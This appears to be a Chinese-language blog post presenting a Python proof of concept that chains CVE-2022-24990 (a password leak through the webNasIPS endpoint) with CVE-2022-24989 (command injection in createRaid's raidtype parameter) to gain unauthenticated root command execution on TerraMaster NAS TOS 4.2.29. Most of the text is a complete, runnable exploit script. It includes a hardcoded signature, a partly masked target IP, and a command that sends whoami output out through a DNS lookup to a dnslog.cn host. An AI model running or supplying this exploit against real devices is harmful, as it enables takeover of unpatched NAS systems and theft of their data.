TerraMaster RCE POC/EXP 编写(Python)

铁威马 NAS 设备 TOS 版本 4.2.29 的上以 root 身份实现未经身份验证的远程命令执行。

注:4.2.31 修复

RCE组成为:未授权信息泄露+命令执行

未授权信息泄露——-CVE-2022-24990

poc

def payload1(url):
    html = '/module/api.php?mobile/webNasIPS'
    urls = url + html
    header = {
        "User-Agent": "TNAS"
    }
    res = requests.get(urls, headers=header, proxies=proxies)
    xx = res.text
    pd = re.findall('PWD:(.*?)\\\\nSAT:', xx, re.S)
    print(pd[0])

漏洞原因:

webNasIPS 是唯一同时在 mobile.class.php 的构造函数的 $notCheck 和 $notHeader 数组中的函数,它可以有效地通过两个检查点,导致意外情况出现,大量未授权数据泄露。 

且返回 TOS 固件版本、默认网关接口的 IP 和 mac 地址、正在运行的服务及其绑定地址和端口,以及一个变量$PWD的密码

命令注入—CVE-2022-24989

poc

def payload2(pd, cmd):
    html = '/module/api.php?mobile/createRaid'
    urls = url + html
    header = {
        "User-Agent": "TNAS",
        "AUTHORIZATION": pd,
        "TIMESTAMP": "XXXXX",
        "SIGNATURE": "473a6d90ede9392eebd8a7995a0471fe"
    }
    cmds = ";" + cmd + ";"
    data = {
        'raidtype': cmds,
        'diskstring': '1646732740'
    }
    res = requests.post(urls, data=data, headers=header, proxies=proxies, verify=False)
    print(f"ZT: {res.status_code}")

漏洞原因:

在mobile.class.php,中

  通过HTTP_USER_AGENT 为判断TNAS,为本地请求,直接修改就行。

  通过HTTP_AUTHORIZATION判断是否认证通过,由于前面获得密码,直接带入即可。

在createRaid函数中

  接受post接受参数:raidtype和diskstring。

  然后给volume_make_from_disks调用

在volume_make_from_disks函数中

  将数据组合后交给_backexec处理

_backexec函数在func.class.php中

  数据直接传递进入,没有过滤,因此容易受到攻击

image_4

完整POC

POC
import requests
import re
requests.packages.urllib3.disable_warnings()

proxies = {
    'http': 'http://127.0.0.1:7890',
    'https': 'http://127.0.0.1:7890'
}

def payload1(url):
    html = '/module/api.php?mobile/webNasIPS'
    urls = url + html
    header = {
        "User-Agent": "TNAS"
    }
    res = requests.get(urls, headers=header, proxies=proxies)
    xx = res.text

    pd = re.findall('PWD:(.*?)\\\\nSAT:', xx, re.S)
    return pd[0]

def payload2(pd, cmd):
    html = '/module/api.php?mobile/createRaid'
    urls = url + html
    header = {
        "User-Agent": "TNAS",
        "AUTHORIZATION": pd,
        "TIMESTAMP": "XXXXX",
        "SIGNATURE": "473a6d90ede9392eebd8a7995a0471fe"
    }
    cmds = ";" + cmd + ";"
    data = {
        'raidtype': cmds,
        'diskstring': '1646732740'
    }
    res = requests.post(urls, data=data, headers=header, proxies=proxies, verify=False)
    print(f"ZT: {res.status_code}")


if __name__ == "__main__":
    cmd = 'ping -c 1 `whoami`.adxxx38.dnslog.cn'
    url = 'http://216.1xxx.xxx8.69:8181/'
    print(f"MB: {url}")
    print(f"CMD: {cmd}")
    try:
        pd = payload1(url)
        payload2(pd, cmd)
    except:
        print("error")

效果